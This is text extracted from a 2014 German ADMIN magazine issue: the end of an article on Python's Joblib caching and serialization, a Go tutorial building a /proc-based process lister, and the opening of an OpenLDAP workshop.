am Namen der Funktion orientiert.<br />
Ändert man deren Implementation,<br />
gibt Memory beim nächsten Start womöglich<br />
fälschlicherweise die zuvor<br />
von der alten Version der Funktion<br />
erzeugten Ergebnisse erneut aus. Des<br />
Weiteren funktioniert Memory nicht mit<br />
»lambda«-Funktionen, also namenlosen<br />
Funktionen, die direkt beim Aufruf<br />
definiert werden.<br />
Generell empfiehlt sich der Einsatz der<br />
Memory-Klasse vor allem bei Funktionen,<br />
deren Ergebnisse so groß sind,<br />
dass sie den Arbeitsspeicher über Gebühr<br />
belasten. Produziert eine häufig<br />
aufgerufene Funktion hingegen nur<br />
kleine Ergebnisse, empfiehlt es sich<br />
eher, beispielsweise einen Dictionarybasierten<br />
Cache im Arbeitsspeicher<br />
einzurichten. [2] zeigt dafür eine Beispielimplementation.<br />
Schnell und sparsam<br />
Die Memory-Klasse verwendet auf<br />
Wunsch ein Verfahren, das bei großen<br />
gespeicherten Objekten viel Zeit spart:<br />
Memory Mapping. Die Kernidee dieses<br />
Konzepts besteht darin, eine Datei<br />
als Bit-für-Bit-Kopie eines Objekts aus<br />
dem Arbeitsspeicher auf die Festplatte<br />
zu schreiben. Wenn die Software das<br />
Objekt wieder öffnet, kopiert sie den<br />
relevanten Teil der Datei in einen zusammenhängenden<br />
Speicherbereich,<br />
sodass die darin enthaltenen Objekte<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Programmieren<br />
Python Joblib<br />
99<br />
direkt zur Verfügung stehen. Das erspart<br />
dem System die Allokation von<br />
Speicher und damit unter Umständen<br />
viele Systemaufrufe.<br />
Joblib greift auf die vom Python-Modul<br />
Numpy [3] bereitgestellte Memory-<br />
Mapping-Methode zurück. Der Konstruktor<br />
der Memory-Klasse nimmt mit<br />
dem optionalen Parameter »mmap_<br />
mode« dieselben Argumente wie die<br />
Klasse »numpy.memmap« entgegen:<br />
»r+«, »r«, »w+« und »c«.<br />
Memory Mapping<br />
Im Normalfall empfiehlt sich »mmap_<br />
mode='r+'« zur Aktivierung des Memory<br />
Mappings. Dieser Wert öffnet eine gegebenenfalls<br />
bestehende Datei und hängt<br />
an sie neue Daten an. Bei den anderen<br />
Modi schreibt Memory keine neuen Daten,<br />
sondern liest nur existierende aus<br />
der Datei aus (»r«) oder überschreibt<br />
die bestehenden Daten (»w+«). Mit »c«<br />
(copy-on-write) behandelt Memory<br />
die Datei auf der Platte wie mit »r« als<br />
unveränderbar, hält neue Zuweisungen<br />
aber dennoch im Speicher vor.<br />
Wer statt Zeit vor allem Festplattenspeicher<br />
sparen muss, initialisiert das<br />
Memory-Objekt mit dem Argument<br />
»compress=True«. Damit komprimiert<br />
Memory die Funktionsergebnisse beim<br />
Speichern auf die Festplatte. Allerdings<br />
schließt das die Möglichkeit zum Memory<br />
Mapping aus.<br />
Schließlich bietet auch die Memory-<br />
Klasse die Möglichkeit, Statusmeldungen<br />
auszugeben. Ihr Konstruktorparameter<br />
»verbose« steht standardmäßig<br />
auf 1, damit gibt »cache()« bei jedem<br />
Aufruf einer memorisierten Funktion<br />
eine Statusmeldung aus, wenn sie ein<br />
Ergebnis neu berechnet. Setzt man<br />
»verbose=0«, bleiben diese mitunter<br />
sehr zahlreichen Statusberichte aus.<br />
Setzt man den Wert hingegen höher,<br />
berichtet Memory bei jedem Aufruf der<br />
Funktion, ob das Ergebnis in einer Datei<br />
vorliegt oder neu berechnet wird.<br />
Zu guter Letzt nimmt »cache()« mit<br />
dem Parameter »ignore« eine Liste von<br />
Funktionsargumenten entgegen, die es<br />
beim Memorisieren ignoriert. Das bietet<br />
sich an, wenn einzelne Funktionsargumente<br />
nur die Bildschirmausgabe<br />
beeinflussen, aber nicht das Funktionsergebnis.<br />
Listing 4 zeigt die Funktion<br />
»f(x)« mit dem Zusatzargument »verbose«,<br />
dessen Wert für den Rückgabewert<br />
der Funktion keine Rolle spielt.<br />
Auf die Platte<br />
Schließlich bietet Joblib noch zwei<br />
Funktionen zum Speichern und Laden<br />
von Python-Objekten: »joblib.dump()«<br />
und »joblib.load()«. Sie kommen auch<br />
in der Memory-Klasse zum Einsatz,<br />
funktionieren jedoch auch unabhängig<br />
davon und ersetzen die von Pythons<br />
»pickle«-Modul angebotenen Mechanismen<br />
zur Serialisierung von Objekten<br />
durch häufig effizientere Methoden.<br />
Insbesondere große Numpy-Arrays<br />
speichert Joblib platzsparend und<br />
schnell ab.<br />
»joblib.dump()« nimmt ein beliebiges<br />
Python-Objekt und einen Dateinamen<br />
als Argumente entgegen, ohne weitere<br />
Angaben landet das besagte Objekt in<br />
der angegebenen Datei. »joblib.load()«,<br />
mit demselben Dateinamen aufgerufen,<br />
stellt dieses Objekt wieder her:<br />
import joblib<br />
x = ...<br />
joblib.dump(x, 'file')<br />
...<br />
x = joblib.load('file')<br />
Wie Memory kennt auch »dump()« den<br />
optionalen Parameter »compress«.<br />
Hier steht eine Zahl von 0 bis 9, die den<br />
Kompressionsgrad angibt; 0 bedeutet<br />
gar keine Komprimierung, 9 verbraucht<br />
den wenigsten Plattenspeicher, aber<br />
auch am meisten Zeit. In Kombination<br />
mit »compress« legt außerdem das<br />
Argument »cache_size« fest, wie viel<br />
Arbeitsspeicher Joblib verwendet,<br />
um Daten darin zunächst schnell zu<br />
komprimieren, bevor es sie auf die<br />
Festplatte schreibt. Der angegebene<br />
Wert beschreibt die Größenordnung in<br />
MByte; es handelt sich jedoch lediglich<br />
um eine Schätzung, die Joblib bei Bedarf<br />
überschreitet, etwa bei sehr großen<br />
Numpy-Arrays.<br />
Das »dump()«-Komplement »load()«<br />
bedient sich optional ebenfalls – wie<br />
die Memory-Klasse – des Memory-<br />
Mapping-Verfahrens. Das Argument<br />
»mmap_mode« aktiviert es mit dem<br />
n Listing 4: Einzelne Argumente ignorieren<br />
01 from joblib import Memory<br />
02 <br />
03 memory = Memory()<br />
04 <br />
05 @memory.cache(ignore=['verbose'])<br />
06 def f(x, verbose=0):<br />
07 if verbose > 0:<br />
08 print('Running f(x).')<br />
09 return x<br />
gleichen Parameter und möglichen<br />
Werten wie bei Memory: »r+«, »r«, »w+«<br />
und »c« dienen zum Lesen und Schreiben,<br />
ausschließlichen Lesen, Überschreiben<br />
beziehungsweise Nur-Lesen<br />
und im Arbeitsspeicher Ergänzen.<br />
Wertvoller Helfer<br />
Der Wert der Joblib-Bibliothek ist<br />
kaum zu überschätzen. Sie löst häufige<br />
Aufgaben im Handumdrehen mit einer<br />
intuitiven Schnittstelle. Die Problemstellungen<br />
– einfache Parallelisierung,<br />
Memorization sowie Speichern und<br />
Laden von Objekten – begegnen Programmierern<br />
in der Praxis häufig. Hier<br />
finden sie eine bequeme Lösung, die es<br />
ihnen erlaubt, sich sofort den eigentlichen<br />
Problemen zu widmen.<br />
Joblib gehört bei den meisten Distributionen<br />
zum Lieferumfang und lässt sich<br />
andernfalls mit den Python-Paketverwaltungswerkzeugen<br />
Easy Install und<br />
Pip umstandlos einspielen: »easy_install<br />
joblib« oder »pip install joblib«. Das<br />
geht schnell, denn ein weiterer Vorteil<br />
der Joblib-Bibliothek liegt darin, dass<br />
sie außer Python selbst keine anderen<br />
Pakete benötigt. n<br />
n Info<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31723<br />
[1] Joblib für Python: [http:// pythonhosted. org/<br />
joblib/]<br />
[2] Caching im Arbeitsspeicher mit Python: [http://<br />
code. activestate. com/ recipes/ 52201/]<br />
[3] Python-Bibliothek Numpy: [http:// www.<br />
numpy. org/]<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
nomadsoul1, 123RF<br />
Programmieren in Go<br />
Kurzer Prozess<br />
Die Programmiersprache Go vereint Typsicherheit mit überschaubarer Syntax und einer umfangreichen<br />
Bibliothek. Ein kleines Tool zum Anzeigen von Prozessen demonstriert die Programmierung. Oliver Frommel<br />
Im November letzten Jahres feierte<br />
die Programmiersprache Go ihren<br />
vierten Geburtstag und konnte bei<br />
dieser Gelegenheit feststellen: Sie wird<br />
immer populärer. Neuestes Beispiel<br />
einer in Go geschriebenen Software ist<br />
das Container-Virtualisierungsprojekt<br />
<strong>Docker</strong>, aber auch Ubuntu schreibt das<br />
Juju-Projekt in Go neu.<br />
Ob sich Go zur Systemprogrammierung<br />
gut eignet, ist umstritten, doch zur Beantwortung<br />
dieser Frage müsste man<br />
erst einmal klären, was man überhaupt<br />
darunter versteht. Für einen Betriebssystem-Kernel<br />
eignet sich die Sprache<br />
wohl weniger gut, auch wenn selbst<br />
dies Einzelne schon versucht haben.<br />
Abgesehen davon sind Go aber wenige<br />
Grenzen gesetzt, wenn es darum geht,<br />
Unix-Daemons, Netzwerk-Code, parallelisierte<br />
Programme und dergleichen<br />
mehr zu schreiben.<br />
Als ausgesprochener Erbe der Programmiersprache<br />
C konzipiert (siehe<br />
[1]), bietet es viele Möglichkeiten des<br />
Vorgängers, vereinfacht aber die Syntax<br />
und unterstützt sicheres Programmieren<br />
beispielsweise durch starke Typisierung.<br />
Über das Unsafe-Modul gleicht<br />
sich Go noch mehr an C an, aber die<br />
Sicherheit geht, wie der Modulname<br />
bereits nahelegt, verloren.<br />
Die Standard-Library [2] von Go ist<br />
äußerst umfangreich und bietet zur<br />
Systemprogrammierung viele nützliche<br />
Module, etwa für Datenkomprimierung,<br />
Kryptografie, Binärdateiformate (ELF,<br />
Mach-O), die Arbeit mit Dateien und<br />
viele mehr. In diesem Artikel soll ein<br />
einfaches in Go geschriebenes Tool entstehen,<br />
das eine ähnliche Funktion hat<br />
wie das »ps«-Tool unter Linux.<br />
Go-Projekte<br />
Zunächst einmal muss man ein paar<br />
Worte über die etwas eigentümliche<br />
Verzeichnisstruktur verlieren, die<br />
für Go-Projekte vorgesehen ist. Man<br />
kann nicht einfach irgendwo seine<br />
Quellcode-Dateien ablegen und sie<br />
dann kompilieren, sondern muss einem<br />
bestimmten Schema folgen, damit<br />
das Build- und Projekttool »go« richtig<br />
funktioniert. Die Umgebungsvariable<br />
»GOPATH« legt das Verzeichnis fest, in<br />
dem sich alle Go-Projekte befinden.<br />
Darunter sind die Verzeichnisse »dist«,<br />
»bin« und »src« angesiedelt, von denen<br />
letzteres den Quellcode enthält – allerdings<br />
unterhalb weiterer Verzeichnisse,<br />
die ein Paket oder Projekt eindeutig<br />
identifizieren. Im Prinzip kann das jeder<br />
beliebige String sein, aber meistens<br />
verwendet man dafür beispielsweise<br />
die eigene Domain, gefolgt von einem<br />
Projektnamen, etwa »admin‐magazin.<br />
de/Projekt« (Abbildung 1). Das Tool<br />
»go« lädt auch Projekte aus dem Internet,<br />
etwa von Github, die dann in »$GO-<br />
PATH/src/github.com/Projekt« landen.<br />
Im Beispiel sollen die Projekte in<br />
»$HOME/gocode« liegen. Die Umge-<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Programmieren<br />
Go<br />
101<br />
bungsvariable dafür setzt »export<br />
GOPATH=$HOME/gocode«. Der folgende<br />
Aufruf legt das Projektverzeichnis<br />
für das noch zu programmierende<br />
Tool »lap« (List All Processes) an:<br />
Maps und Channels iteriert. Mit nur<br />
einer Laufvariable weist »range« dieser<br />
den Array-Index zu. Einer zweiten Variablen<br />
weist Go automatisch den Inhalt<br />
des entsprechenden Array-Elements zu.<br />
mkdir ‐p src/admin‐magazin.de/lap<br />
Wer hier nun ein kleines Hello-World-<br />
File ablegt (siehe [1]), kann das Projekt<br />
folgendermaßen kompilieren:<br />
go build admin‐magazin.de/lap<br />
Bei einem Blick in die Datei »GOPATH/<br />
bin« wird man aber feststellen, dass<br />
dort keine Datei liegt. Dorthin kopiert<br />
»go« das Binary nämlich nur mit dem<br />
»install«-Befehl, den man am besten<br />
gleich statt »build« verwendet. Programmbibliotheken<br />
landen in »GO-<br />
PATH/pkg«. Die Object Files lassen sich<br />
per »go clean Package« wieder entfernen,<br />
mit einem zusätzlichen Schalter<br />
entfernt »go clean ‐f« auch die Binaries<br />
wieder.<br />
Die Idee hinter »lap« ist recht simpel.<br />
Unter Linux findet sich im Proc-Dateisystem<br />
»/proc« für jeden laufenden<br />
Prozess ein virtuelles Verzeichnis mit<br />
der Prozess-ID als Name. Darunter befinden<br />
sich eine ganze Reihe virtueller<br />
Dateien mit Informationen zu diesem<br />
Prozess, darunter die Dateien »stat«<br />
und »status«, die etwa die Parent-Prozess-ID,<br />
den Eigentümer, die Startzeit<br />
und so weiter enthalten.<br />
Dateien verarbeiten<br />
Die erste Aufgabe besteht also darin,<br />
die Dateien in »/proc« aufzulisten und<br />
diejenigen mit den Prozessinfos herauszufiltern.<br />
Sie lässt sich recht einfach<br />
mit der Funktion »filepath.Glob« erledigen,<br />
die alle Dateinamen in einem<br />
Array zurückgibt, die auf ein bestimmtes<br />
Muster passen. Der folgende Ansatz<br />
geht einen kleinen Umweg, um ein paar<br />
Aspekte von Schleifen und String-Verarbeitung<br />
in Go zu demonstrieren.<br />
Den Inhalt eines Verzeichnisses liefert<br />
ein Aufruf der Funktion »ReadDir« im<br />
»ioutils«-Paket. Um die Einträge alle<br />
durchzugehen, verwendet man die For-<br />
Schleife mit einer Range-Expression,<br />
mit der man über Arrays, Slices, Strings,<br />
entries, err := ioutil.ReadDir(procDir)<br />
for index, proc := range entries {<br />
// do something with proc<br />
}<br />
Das akzeptiert der Go-Compiler nur,<br />
wenn man mit der Variable »index«<br />
auch etwas anfängt. Will man das<br />
nicht, kann man stattdessen auch<br />
den Go-Platzhalter für Variablen »_«<br />
verwenden. Ein »proc« ist im Beispiel<br />
vom Typ »os.FileInfo«, der ein Interface<br />
implementiert, das unter anderem den<br />
Aufruf »Name()« einschließt, um den<br />
Dateinamen auszulesen.<br />
Unicode-Support<br />
Herauszufinden, ob das erste Zeichen<br />
eine Zahl ist, gestaltet sich etwas<br />
schwieriger, weil Go zur Zeichen-Codierung<br />
UTF-8 verwendet – was an sich ja<br />
eine prima Sache ist. Weil UTF-8 aber<br />
ein Format ist, das zwischen einem<br />
und vier Bytes für ein Zeichen benutzt,<br />
ist nicht von vornherein klar, wieviele<br />
Bytes das erste Zeichen umfasst. Typischerweise<br />
wandern Go-Programmierer<br />
Stück für Stück durch ein Byte-Array<br />
und entschlüssen dabei, wann ein<br />
neuer UTF-8 Character anfängt. Mit<br />
einem Typecast macht Go das automatisch<br />
in einem Rutsch.<br />
Am Ende kommt ein<br />
Array mit „Runen“<br />
heraus – so werden in<br />
Go einzelne UTF-8-Zeichen<br />
bezeichnet –, von<br />
denen man mit einem<br />
Array-Index das erste<br />
Zeichen ausliest. Das<br />
wiederum lässt sich<br />
mit einem einfachen<br />
Aufruf der Funktion<br />
»unicode.IsDigit()« erledigen,<br />
der eine Rune<br />
als Argument erwartet:<br />
if unicode.IsDigit([]U<br />
rune(proc.Name())[0]) {<br />
...<br />
Abbildung 1: Die Struktur von Go-Projekten: ein<br />
Toplevel-Directory, darunter Verzeichnisse für Binärdateien<br />
und Quellcode-Projekte.<br />
Dass das in der Unicode-Welt übrigens<br />
nicht nur auf arabische Zahlen zutrifft,<br />
sondern auch mit anderen Zahlensystemen<br />
funktioniert, zeigt ein kleines<br />
Beispielprogramm, das in Abbildung 2<br />
zu sehen ist.<br />
Als nächstes geht es darum, die virtuellen<br />
Dateien des Procfs zu öffnen und<br />
ihren Inhalt zu verarbeiten. Praktischerweise<br />
bietet wieder die Bibliothek »ioutil«<br />
mit »ReadFile« eine Funktion, die<br />
eine Datei komplett einliest und den<br />
Inhalt in einem Byte-Array ablegt:<br />
stat, err := ioutil.ReadFile(filename)<br />
Wie man sieht, gibt die Funktion zwei<br />
Werte zurück: den Inhalt der Datei und<br />
einen Fehlercode. Das ist typisch für<br />
Go-Funktionen und jedenfalls strukturierter<br />
als etwa im Fehlerfall für den Inhalt<br />
einen Nullpointer zurückzuliefern.<br />
Weist man den Fehlercode einer Variab-<br />
Abbildung 2: Die Unicode-Methode »IsDigit« ermittelt, ob ein Zeichen<br />
eine Zahl ist. Das funktioniert selbst mit fremden Zahlensystemen.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
102<br />
Programmieren<br />
Go<br />
Abbildung 3: Das Ergebnis der Mühen: Das Prozess-Tool »lap« zeigt die<br />
laufenden Prozesse mit Benutzernamen an.<br />
n Listing 1: Regular Expressions<br />
01 package main<br />
02 <br />
03 import (<br />
04 "regexp"<br />
05 ...<br />
06 )<br />
07 <br />
08 // Format: 1 (init) S 0 1 1 0 ‐1 4219136 19614<br />
33480686 ...<br />
09 var restat = regexp.MustCompile(`(\d+) \((.+)\)<br />
(\w) (\d+) (\d+) (\d+) (\d+)`)<br />
10 <br />
11 func main() {<br />
12 ...<br />
13 data := restat.FindStringSubmatch(strin<br />
g(stat))<br />
14 procData = ProcData{pid: data[1], name:<br />
data[2]}<br />
15 ...<br />
len zu, muss man Sie auch verarbeiten,<br />
sonst gibt der Compiler seinerseits eine<br />
Fehlermeldung aus und weigert sich,<br />
die Datei zu übersetzen. Wer den Rückgabewert<br />
ignorieren möchte, kann den<br />
Fehlercode wieder dem Platzhalter »_«<br />
zuweisen. Um den Fehler zu verarbeiten,<br />
testet man üblicherweise, ob die<br />
»err«-Variable gleich »nil« ist. Dann ist<br />
kein Fehler aufgetreten.<br />
Die Datei »/proc/PID/stat« enthält nur<br />
eine Zeile in einem fixen Format, bei<br />
dem die einzelnen Felder durch Leerzeichen<br />
getrennt sind.<br />
Leider ist das Format<br />
nirgends vernünftig<br />
dokumentiert, auch<br />
nicht in der Linux-<br />
Kernel-Dokumentation<br />
des Procfs [2]. Letztlich<br />
hilft, wenn man es<br />
genau wissen möchte,<br />
nur ein Blick in den<br />
Linux-Quellcode. Zuerst<br />
kommt jedenfalls<br />
die PID (die ja mit dem<br />
Verzeichnisnamen<br />
identisch ist), dann<br />
in Klammern der Prozessname,<br />
der Status<br />
des Prozesses und die<br />
Parent-PID.<br />
Regular<br />
Expressions<br />
Die Felder lassen sich zum Beispiel mit<br />
der Funktion »fmt.Sscanf« verarbeiten,<br />
die genauso funktioniert wie die<br />
entsprechende Funktion in C: Format-<br />
Strings legen das Format der gelesenen<br />
Zeile und den Datentyp fest. Alternativ<br />
– wenn auch vermutlich etwas langsamer<br />
– lässt sich das Gleiche auch mit<br />
Regular Expressions erledigen. Dazu<br />
bietet Go das Paket »regexp« an, das<br />
die RE2-Syntax von Regular Expressions<br />
implementiert [3].<br />
Die von dem Modul zur Verfügung<br />
gestellten Funktionen sind etwas<br />
unübersichtlich, folgen aber einem<br />
System. Zunächst einmal gibt es von<br />
jeder Funktion zwei Varianten: eine,<br />
die ein Byte-Array verarbeitet und eine,<br />
mit dem Wort „String“ im Namen, die<br />
mit Strings umgeht. Dann gibt es Funktionen,<br />
die den gefundenen String nur<br />
einmal oder mehrfach („All“) liefern.<br />
Wer in einer Regular Expression mehrere<br />
Suchmuster verwenden und die<br />
gefundenen Strings Variablen zuweisen<br />
möchte, verwendet eine Funktion mit<br />
„Submatch“ im Namen.<br />
Hier tut es die Funktion »FindString-<br />
Submatch«, weil das Regex-Muster<br />
so konstruiert ist, dass es ohnehin<br />
nur einmal zutreffen kann und dabei<br />
die Fundstellen alle in einem Array<br />
speichert. Das Byte-Array, das von<br />
»ReadFile«stammt, wird per Typecast<br />
in einen String umgewandelt. Würde<br />
man die Byte-Array-Varianten der<br />
Regular-Expression-Funktionen verwenden,<br />
müsste man danach auch mit<br />
Byte-Array weiterarbeiten oder diese<br />
umwandeln.<br />
Auch für die Übersetzung des Suchmusters<br />
gibt es mehrere Funktionen: »Compile«,<br />
»CompilePOSIX«, »MustCompile«<br />
und »MustCompilePOSIX«. Warum das<br />
so ist, erschließt sich nicht ganz, denn<br />
das Gleiche hätte sich ja auch mit nur<br />
einer Funktion umsetzen lassen, die<br />
entsprechende Parameter verarbeitet.<br />
Um zu verhindern, dass die Regular<br />
Expression immer wieder neu übersetzt<br />
wird, kann man sie als Toplevel-Variable<br />
definieren. Der zugehörige Code ist<br />
in Listing 1 zu sehen.<br />
Zeile 14 des Codes legt ein neues<br />
»ProcData«-Objekt an und weist die<br />
beiden ersten Submatches dessen<br />
Attributen »pid« und »name« zu. In<br />
Zeile 9 ist die Regular Expression in<br />
Backticks »`« eingeschlossen, weil bei<br />
Strings in einfachen oder doppelten<br />
Anführungszeichen ein Backslash »\«<br />
als Escape-Zeichen gilt. Man müsste<br />
also umständlich vor jeden Backslash<br />
noch einen zweiten schreiben. In der<br />
Backtick-Umgebung kann man sich das<br />
sparen.<br />
Analog läuft das Ganze mit der Datei<br />
»/proc/PID/status«, die man ebenfalls<br />
einlesen muss, weil etwa die User-ID<br />
des Prozesses nicht in der »stat«-Datei<br />
zu finden ist. Allerdings ist die Status-<br />
Datei etwas schwieriger zu parsen,<br />
denn sie enthält viele einzelne Zeilen.<br />
Man könnte also die Datei zeilenweise<br />
verarbeiten oder eine Regular Expression<br />
im Multiline-Mode verwenden,<br />
den der Schalter »m« zu Beginn der<br />
Regex aktiviert. Dies allein genügte<br />
allerdings noch nicht, es war auch noch<br />
der Schalter »s« nötig, der dafür sorgt,<br />
dass die Metavariable ».« in der Regular<br />
Expression auch das Newline-Zeichen<br />
»\n« einschließt. Die Regex, um aus der<br />
Status-Datei die User- und Group-ID zu<br />
entnehmen, sieht dann so aus:<br />
(?sm)^Uid:\t(\d+).*^Gid:\t(\d+)<br />
Auch die UID wird nun einem Feld im<br />
»ProcData«-Objekt zugewiesen. Bleibt<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Programmieren<br />
Go<br />
103<br />
noch, aus der UID den Usernamen zu<br />
ermitteln, etwa über die Passwd-Datei.<br />
Die Arbeit kann man sich allerdings<br />
sparen, denn Go bietet dafür schon<br />
die Funktion »user.LookupId«, die als<br />
Ergebnis ein »User«-Objekt zurückgibt,<br />
das unter anderem den Benutzernamen<br />
enthält. Summa summarum sieht<br />
das so aus:<br />
user, _ := user.LookupId(procData.U<br />
uid)<br />
procData.user = user.Username<br />
Eine Option des »lap«-Tools soll bestimmten,<br />
ob es den Namen oder die<br />
UID ausgibt. Zur einfachen Implementierung<br />
von Kommandozeilenoptionen<br />
bringt Go das Paket »flags« mit. Wie<br />
alles in Go sind auch die Flags typisiert<br />
und stehen zum Beispiel als Integer,<br />
String und Boolean zur Verfügung.<br />
Einen Bool-Schalter definiert die folgende<br />
Zeile:<br />
var realname = flag.Bool("r", false, U<br />
"show real user name")<br />
flag.Parse()<br />
Der erste Parameter gibt den Namen<br />
des Schalters an, danach folgen die Default-Belegung<br />
und der erklärende Text.<br />
Im weiteren Verlauf des Programms<br />
kann man nun die Variable mit »if (realname)«<br />
abfragen. Mit »‐r« aufgerufen,<br />
gibt »lap« dann die Benutzernamen<br />
aus, sonst nur die UID (Abbildung 3).<br />
Die wesentlichen Funktionen des Programms<br />
sind in Listing 2 zu sehen, das<br />
komplette Listing auf dem Server des<br />
ADMIN-Magazins [4].<br />
Was fehlt<br />
Mit relativ wenig Aufwand ist ein kleines<br />
Go-Tool entstanden, das die Prozesse<br />
auf einem Linux-System ermittelt<br />
und auf der Kommandozeile ausgibt.<br />
Erweiterungsmöglichkeiten gibt es<br />
noch viele, etwa einen Cache für das<br />
n Info<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31288<br />
[1] Oliver Frommel, Programmieren mit Go, ADMIN<br />
04/2012: [http:// www. admin‐magazin. de/<br />
Das‐Heft/ 2012/ 04/ Programmieren‐mit‐Go/]<br />
[2] The /proc Filesystem:<br />
[https:// www. kernel. org/ doc/<br />
Documentation/ filesystems/ proc. txt]<br />
[3] RE2-Syntax:<br />
[https:// code. google. com/ p/ re2/ wiki/ Syntax]<br />
[4] Listings: [ftp:// ftp. admin‐magazin. de/ pub/<br />
listings/ admin‐magazinde/ 2014/ 02/ golang]<br />
Lookup der Benutzernamen. Auch die<br />
Laufzeitinformationen der Prozesse<br />
wie die Startzeit und so weiter fehlen<br />
noch. All dies und mehr wird Teil eines<br />
Folgeartikels sein. n<br />
n Listing 2: »lap.go«<br />
01 ...<br />
02 <br />
03 type ProcData struct {<br />
04 name string<br />
05 pid string // using string to represent PID<br />
06 ppid string<br />
07 uid string<br />
08 user string<br />
09 }<br />
10 <br />
11 func getPidEntries(procDir string) (pids []string, err error) {<br />
12 entries, err := ioutil.ReadDir(procDir)<br />
13 <br />
14 for _, proc := range entries {<br />
15 if unicode.IsDigit([]rune(proc.Name())[0]) {<br />
16 pids = append(pids, proc.Name())<br />
17 }<br />
18 }<br />
19 return pids, err<br />
20 }<br />
21 <br />
22 func getProcData(pid string) (procData ProcData, err error) {<br />
23 filename := procDir + pid + "/stat"<br />
24 stat, err := ioutil.ReadFile(filename)<br />
25 if err != nil {<br />
26 log.Fatal(err)<br />
27 }<br />
28 data := restat.FindStringSubmatch(string(stat))<br />
29 procData = ProcData{pid: data[1], name: data[2]}<br />
30 <br />
31 filename = procDir + pid + "/status"<br />
32 status, err := ioutil.ReadFile(filename)<br />
33 if err != nil {<br />
34 log.Fatal(err)<br />
35 }<br />
36 data = restatus.FindStringSubmatch(string(status))<br />
37 procData.uid = data[1]<br />
38 user, _ := user.LookupId(procData.uid)<br />
39 procData.user = user.Username<br />
40 <br />
41 return procData, nil<br />
42 }<br />
43 <br />
44 func main() {<br />
45 var realname = flag.Bool("r", false, "show real user<br />
name")<br />
46 flag.Parse()<br />
47 pids, err := getPidEntries(procDir)<br />
48 if err != nil {<br />
49 log.Fatal(err)<br />
50 }<br />
51 for _, pid := range pids {<br />
52 procData, err := getProcData(pid)<br />
53 if *realname {<br />
54 fmt.Printf("%s\t%s\t%s\n", procData.user,<br />
procData.pid, procData.name)<br />
55 } else {<br />
56 fmt.Printf("%s\t%s\t%s\n", procData.uid,<br />
procData.pid, procData.name)<br />
57 }<br />
58 }<br />
59 }<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
ADMIN und Linux-Magazin<br />
am Apple Newsstand!<br />
Jetzt NEU!<br />
Jetzt GRATIS<br />
testen!<br />
Alternativ finden Sie alle Titel der <strong>Medialinx</strong> AG auch bei:<br />
PagePlace, iKiosk, OnlineKiosk und Leserauskunft
freeX<br />
Einführung<br />
105<br />
Sonderteil<br />
Auf der folgenden Seite startet der regelmäßige<br />
FreeX-Sonderteil des ADMIN-Magazins. Hier finden<br />
Sie Know-how-Artikel und Workshops von erfahrenen<br />
Autoren aus der langen Tradition der FreeX.<br />
OpenLDAP......................................106<br />
Ein ausführlicher Workshop erklärt, wie man den<br />
freien Directory-Server in Betrieb nimmt und beispielhaft<br />
einen Webserver damit absichert.<br />
ika747, 123RF<br />
www.admin-magazin.de Admin Ausgabe 02-2014
106<br />
freeX<br />
OpenLDAP<br />
Workshop OpenLDAP-Server<br />
Zentralregister<br />
tiero, 123RF<br />
Zentrale Benutzerverwaltung mit LDAP oder Active Directory ist heute Standard. Dennoch schrecken viele<br />
vor dem Aufbau einer solchen Infrastruktur zurück und verwalten Benutzerdaten lieber von Hand. Dieser<br />
Workshop zeigt, wie es mit OpenLDAP besser geht. Ulrich Habel<br />
Der OpenLDAP-Server verfügt über<br />
eine lange Historie in der Unix-Welt. Der<br />
Beginn des Projekts datiert bis ins Jahr<br />
1998 zurück, als das Thema zentrale<br />
Benutzerverwaltung lediglich im Enterprise-Umfeld<br />
ernstgenommen wurde.<br />
Kleine Insellösungen waren damals die<br />
Grundlage für eine zentrale Benutzerverwaltung;<br />
Verzeichnisserver gab es<br />
nur von großen IT-Anbietern. Ältere Leser<br />
werden jetzt vielleicht schmunzelnd<br />
an die Anfänge der Domain-Verwaltung<br />
unter Windows NT, Novell Netware oder<br />
NIS zurückdenken.<br />
Ein entsprechend ausgereifter Service<br />
stand mit X.500 ebenfalls zur Verfügung,<br />
fand aber in der Praxis nur wenig<br />
Verbreitung. LDAP (Lightweight Directory<br />
Access Protocol) sollte ursprünglich<br />
lediglich ein Protokoll für die X.500-<br />
Services sein. Daraus entwickelte sich<br />
der LDAP-Server als Verzeichnisserver,<br />
wie er heute vielseitig verwendet wird.<br />
1998 wurde der heutige OpenLDAP-Server<br />
als Klon der Sourcen des LDAP-Servers<br />
der Universität Michigan von Kurt<br />
Zeilenga ins Leben gerufen. Interessan-<br />
terweise ist das OpenLDAP-Projekt niemals<br />
eingeschlafen, sondern hat sich<br />
beständig weiterentwickelt und gilt daher<br />
heute immer noch als fortschrittlich<br />
und wegweisend. Allerdings haben die<br />
zahlreichen Änderungen, die sehr strikt<br />
durchgesetzt wurden, auch den einen<br />
oder anderen Anwender abgeschreckt.<br />
Üblicherweise werden Änderungen von<br />
elementaren Bestandteilen in einer<br />
Version als deprecated markiert und<br />
mit entsprechender Warnung versehen.<br />
In der Folgeversion ist diese Funktionalität<br />
dann nicht mehr verfügbar. Für<br />
das Projekt stellt dies den Fortschritt<br />
sicher, für den Administrator bedeutet<br />
es, immer am Ball bleiben zu müssen.<br />
Was ist ein Verzeichnisserver?<br />
Ein Verzeichnisserver stellt einen Behälter<br />
für Informationen zur Verfügung,<br />
der sich über das LDAP-Protokoll und<br />
passende Clients abfragen lässt. Der<br />
Vergleich mit einem Telefonbuch bietet<br />
sich zwar an, hält jedoch im Detail nicht<br />
stand. Ein LDAP-Server kann zwar Kontaktdaten<br />
für das Unternehmen beinhalten,<br />
jedoch auch mit weiteren Informationen<br />
zu einer Person angereichert<br />
werden. Letztlich ist aber die Art der<br />
Informationen nicht vorgegeben. So<br />
können ein Warenkatalog genauso wie<br />
eine Inventarliste ihren Platz finden.<br />
Ein Verzeichnisserver bietet sich immer<br />
dann an, wenn Informationen in einer<br />
baumartigen Struktur mit entsprechenden<br />
Unterzweigen abgelegt werden<br />
sollen. Die baumartige Struktur wird<br />
